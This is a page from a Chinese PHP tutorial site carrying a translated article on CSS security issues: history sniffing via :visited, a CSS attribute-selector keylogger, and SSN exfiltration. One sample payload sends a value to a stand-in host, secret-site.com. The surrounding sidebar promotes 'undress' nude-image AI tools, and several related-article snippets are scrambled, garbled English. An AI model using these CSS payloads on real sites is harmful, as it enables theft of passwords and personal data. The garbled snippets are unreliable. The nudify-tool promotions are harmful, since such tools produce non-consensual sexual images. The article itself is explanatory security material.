不必驚慌！ CSS本身並非主要的重大安全隱患，大多數(shù)情況下無需過度擔憂。
然而，一些文章會討論CSS潛在的令人意外甚至擔憂的功能。讓我們來總結(jié)一下：
訪問過的鏈接問題
該問題描述如下：
- 網(wǎng)站上有一個指向特定頁面的鏈接，例如Tickle Pigs 。
- 你使用
:visited樣式設(shè)置訪問過的鏈接顏色，例如a:visited { color: pink; }，這並非默認的用戶代理樣式。 - 你測試該鏈接的計算樣式。
- 如果顏色為粉色，則表明該用戶訪問過該頁面。
- 你將此信息報告給某個服務(wù)器，並據(jù)此進行某些操作（例如提高保險費率）。
你甚至可能完全使用CSS實現(xiàn)此目的，因為:visited樣式可能包含background-image: url(/data-logger/tickle.php); ，只有訪問過該頁面的用戶才會請求該圖片。
不必擔心！瀏覽器已經(jīng)阻止了這種攻擊方式。
鍵盤記錄器
該問題描述如下：
- 頁面上有一個輸入框，可能是密碼輸入框。
- 你將一個記錄腳本作為輸入框的背景圖片，並添加大量選擇器來收集密碼信息。
input[value^="a"] { background: url(logger.php?v=a); }
這並不容易實現(xiàn)。輸入框的value屬性不會因為用戶輸入而立即改變。但在React等框架中，有時會發(fā)生這種情況。因此，理論上，如果將此CSS添加到使用React構(gòu)建的登錄頁面，則此CSS鍵盤記錄器可能有效。
但是，在這種情況下，頁面上已經(jīng)執(zhí)行了JavaScript代碼。對於此類攻擊，JavaScript比CSS危險得多。 JavaScript鍵盤記錄器只需幾行代碼即可監(jiān)控按鍵事件並通過Ajax進行報告。
內(nèi)容安全策略(CSP) 可以阻止第三方和XSS注入的內(nèi)聯(lián)JavaScript……當然也可以阻止CSS。
數(shù)據(jù)竊取
該問題描述如下：
- 如果我能將惡意CSS添加到你已登錄的網(wǎng)站頁面……
- 並且該網(wǎng)站顯示敏感信息，例如社會安全號碼(SSN)，預先填充在表單中……
- 我可以用屬性選擇器來獲取它。
input#ssn[value="123-45-6789"] { background: url(https://secret-site.com/logger.php?ssn=123-45-6789); }
通過大量選擇器，你可以覆蓋所有可能性！
內(nèi)聯(lián)樣式塊問題
我不確定是否應該將此歸咎於CSS，但想像一下：
... 插入一些用戶生成的內(nèi)容...
也許你允許用戶自定義一些CSS。這是一個攻擊向量，因為他們可以關(guān)閉樣式標籤，打開腳本標籤，並編寫惡意的JavaScript代碼。
肯定還有更多
想到了嗎？分享出來吧。
我對CSS安全漏洞的恐懼程度持懷疑態(tài)度。我不想過分輕描淡寫安全問題（尤其是第三方問題），因為我不是專家，安全至關(guān)重要。但與此同時，我從未聽說過CSS成為除思想實驗之外的任何攻擊載體。請教教我！
以上是CSS安全漏洞的詳細內(nèi)容。更多資訊請關(guān)注PHP中文網(wǎng)其他相關(guān)文章！
熱AI工具
Undress AI Tool
免費脫衣圖片
Undresser.AI Undress
人工智慧驅(qū)動的應用程序，用於創(chuàng)建逼真的裸體照片
AI Clothes Remover
用於從照片中去除衣服的線上人工智慧工具。
Clothoff.io
AI脫衣器
Video Face Swap
使用我們完全免費的人工智慧換臉工具，輕鬆在任何影片中換臉！
熱門文章
熱工具
記事本++7.3.1
好用且免費的程式碼編輯器
SublimeText3漢化版
中文版，非常好用
禪工作室 13.0.1
強大的PHP整合開發(fā)環(huán)境
Dreamweaver CS6
視覺化網(wǎng)頁開發(fā)工具
SublimeText3 Mac版
神級程式碼編輯軟體(SublimeText3)
什麼是'渲染障礙CSS”？
Jun 24, 2025 am 12:42 AM
CSS會阻塞頁面渲染是因為瀏覽器默認將內(nèi)聯(lián)和外部CSS視為關(guān)鍵資源，尤其是使用引入的樣式表、頭部大量內(nèi)聯(lián)CSS以及未優(yōu)化的媒體查詢樣式。 1.提取關(guān)鍵CSS並內(nèi)嵌至HTML；2.延遲加載非關(guān)鍵CSS通過JavaScript；3.使用media屬性優(yōu)化加載如打印樣式；4.壓縮合併CSS減少請求。建議使用工具提取關(guān)鍵CSS，結(jié)合rel="preload"異步加載，合理使用media延遲加載，避免過度拆分與復雜腳本控制。
外部與內(nèi)部CSS：最好的方法是什麼？
Jun 20, 2025 am 12:45 AM
thebestapphachforcssdepprodsontheproject'sspefificneeds.forlargerprojects，externalcsSissBetterDuoSmaintoMaintainability andReusability; forsMallerProjectsorsingle-pageApplications，InternaltCsmightBemoresobleable.InternalCsmightBemorese.it.it'sclucialtobalancepopryseceneceenceprodrenceprodrenceNeed
CSS案例靈敏度：了解重要的
Jun 20, 2025 am 12:09 AM
cssismostlycaseminemintiment，buturlsandfontfamilynamesarecase敏感。 1）屬性和valueslikeColor：紅色; prenotcase-sensive.2）urlsmustmustmatchtheserver'server'scase，例如
什麼是AutoPrefixer，它如何工作？
Jul 02, 2025 am 01:15 AM
Autoprefixer是一個根據(jù)目標瀏覽器範圍自動為CSS屬性添加廠商前綴的工具。 1.它解決了手動維護前綴易出錯的問題；2.通過PostCSS插件形式工作，解析CSS、分析需加前綴的屬性、依配置生成代碼；3.使用步驟包括安裝插件、設(shè)置browserslist、在構(gòu)建流程中啟用；4.注意事項有不手動加前綴、保持配置更新、非所有屬性都加前綴、建議配合預處理器使用。
什麼是圓錐級函數(shù)？
Jul 01, 2025 am 01:16 AM
theconic-Gradient（）functionIncsscreatesCircularGradientsThatRotateColorStopSaroundAcentralPoint.1.IsidealForPieCharts，ProgressIndicators，colordichers，colorwheels和decorativeBackgrounds.2.itworksbysbysbysbydefindefingincolordefingincolorstopsatspecificains off.
CSS教程，用於創(chuàng)建粘性標頭或頁腳
Jul 02, 2025 am 01:04 AM
TocreatestickyheadersandfooterswithCSS,useposition:stickyforheaderswithtopvalueandz-index,ensuringparentcontainersdon’trestrictit.1.Forstickyheaders:setposition:sticky,top:0,z-index,andbackgroundcolor.2.Forstickyfooters,betteruseposition:fixedwithbot
CSS自定義屬性的範圍是什麼？
Jun 25, 2025 am 12:16 AM
CSS自定義屬性的作用域取決於其聲明的上下文，全局變量通常定義在:root中，而局部變量則定義在特定選擇器內(nèi)，以便組件化和隔離樣式。例如，定義在.card類中的變量僅對匹配該類的元素及其子元素可用。最佳實踐包括：1.使用:root定義全局變量如主題色；2.在組件內(nèi)部定義局部變量以實現(xiàn)封裝；3.避免重複聲明同一變量；4.注意選擇器特異性可能引發(fā)的覆蓋問題。此外，CSS變量區(qū)分大小寫，且應在使用前定義以避免錯誤。若變量未定義或引用失敗，則會採用回退值或默認值initial。調(diào)試時可通過瀏覽器開發(fā)者工
解鎖CSS動畫的潛力：深度潛水
Jun 20, 2025 am 12:14 AM
cssanimationsenhancewebpagesbyimprovinguserexperienceandsiteFunctionallity.1）usetransitionsforsmoothstylechanges，asinthebuttoncolorexample.2）losplyKeyKeyframesforeSfordEteTailEdAnimations.3）
